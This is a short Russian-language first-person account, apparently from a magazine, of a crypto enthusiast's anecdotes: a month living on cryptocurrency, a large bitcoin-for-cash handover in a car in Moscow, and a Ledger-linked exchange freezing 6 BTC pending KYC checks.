Наверное, самое интересное — это был эксперимент: как прожить месяц

за крипту, не выводя в фиат. Было драйвово и угарно объяснять людям, что биток — это тоже деньги, только лучше.

Еще прикольная ситуация была, когда мой хороший знакомый попросил махнуть его битки на баксы. Сумма была немаленькая.

Зима, холод, Москва. Прилетаем с ним в Москву на сделку, людей, с которыми я должен был встретиться, я вообще не знаю. Постоянно менялись места встречи, мы бегали по сугробам в поисках нужных нам людей, в итоге где-то на краю мира нам приходит сообщение с локашкой и маркой машины, в которой будет встреча. Запрыгиваем на заднее сиденье какого-то лютого суперкара, и туда же вываливают два больших пакета с баксами. Я было подумал, что это наша конечная, но нет, все хорошо в итоге вышло. Упаковали всё по пакетам и двинули в аэропорт.

Еще прикольчик был со встроенным в Ledger обменником. Нужно было махнуть 6 BTC в DAI, в итоге у меня лочат все битки и просят пройти KYC и предоставить инфу по двум транзакциям в сети эфира, которые были 619 дней назад. Мне фартануло, что это были мои транзы, и я попросил сделать дамп депозитов и историю торгов. Через пять дней мои биточки разлочили. Правда, теперь я этим сервисом не пользуюсь...

Ну а так приколов много разных бывало, и я думаю, что после PoS эфирки нас ждут чудесные времена. Жду новые монеты и алги, а то надоело уже, что оно само работает!

Соседние файлы в папке журнал хакер